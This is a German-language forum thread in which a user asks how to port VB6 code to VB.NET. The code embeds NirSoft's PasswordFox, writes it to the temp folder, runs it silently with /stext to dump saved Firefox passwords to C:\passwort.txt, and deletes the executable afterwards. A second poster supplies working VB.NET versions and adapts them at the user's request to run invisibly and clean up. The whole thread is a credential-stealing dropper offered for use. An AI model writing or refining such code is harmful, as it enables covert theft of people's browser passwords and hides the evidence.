vb 6 code aktualiesieren

Hallo ich habe ein Problem vllt kann mir jemand helfen ich habe vb.net und möchte ein paar nirsoft resourcen einbinden nur weiß ich nicht wie das bei .net geht und mit den coden hatte mal nen code für vb6

da ging es ja in detwa so:

Code:

---

Dim Bla As Byte

Bla = LoadResData (101, "CUSTOM")

open ("C:\passwortFox.exe" for Binary As #1

Put #1, , Bla()
Close #1

Shell  "C:\passwortFox /stext" &  "C:\passwort.txt"
Kill "C:\passwortFox.exe"
Erase Bla

---

Vorher mußte man da unter resource editor die exe hinzufügen aber wie geht das jetzt unter vb.net ?

habe dort auch kein resource editor gefunden und die definition bekomkme ich auch nicht hin

Ganz einfach:

Code:

---

        Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
        bw.Write(My.Resources.passwortFox)
        bw.Close()

        Process.Start(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")

---

Zitat:

---

Vorher mußte man da unter resource editor die exe hinzufügen aber wie geht das jetzt unter vb.net ?

---

Einfach unter den Projekteigentschaften / Ressourcen

MfG

Zitat:

---

Zitat von ThePapst

Ganz einfach:

Code:

---

        Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
        bw.Write(My.Resources.passwortFox)
        bw.Close()

        Process.Start(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")

---

Einfach unter den Projekteigentschaften / Ressourcen

MfG

---

Funktioniert soweit ganbz gut nur will ich die resource invisible und die daten in txt speichern
wäre nett wen das iwie möglich wäre
also invislbe öffnen und den inhalt in txt in eine pfad speichern

Ps: Danke für deine hilfe!

Code:

---

        Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
        bw.Write(My.Resources.PasswordFox)
        bw.Close()

        Dim si As New ProcessStartInfo(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")
        si.Arguments = "/stext C:\passwort.txt"

        Process.Start(si)


        While True
            If Process.GetProcessesByName(("passwortFox")).Length < 1 Then
                IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")
                Exit While
            End If
        End While

---

So das sollte es sein was du dir vorgestellt hast ;)

MfG

Zitat:

---

Zitat von ThePapst

Code:

---

        Dim bw As New IO.BinaryWriter(New IO.FileStream(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe", IO.FileMode.Create))
        bw.Write(My.Resources.PasswordFox)
        bw.Close()

        Dim si As New ProcessStartInfo(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")
        si.Arguments = "/stext C:\passwort.txt"

        Process.Start(si)
        IO.File.Delete(Environment.GetEnvironmentVariable("tmp") & "\passwortFox.exe")

---

So das sollte es sein was du dir vorgestellt hast ;)

MfG

---

Hey genau das habe ich gesucht vielen dank für deine freundliche hilfe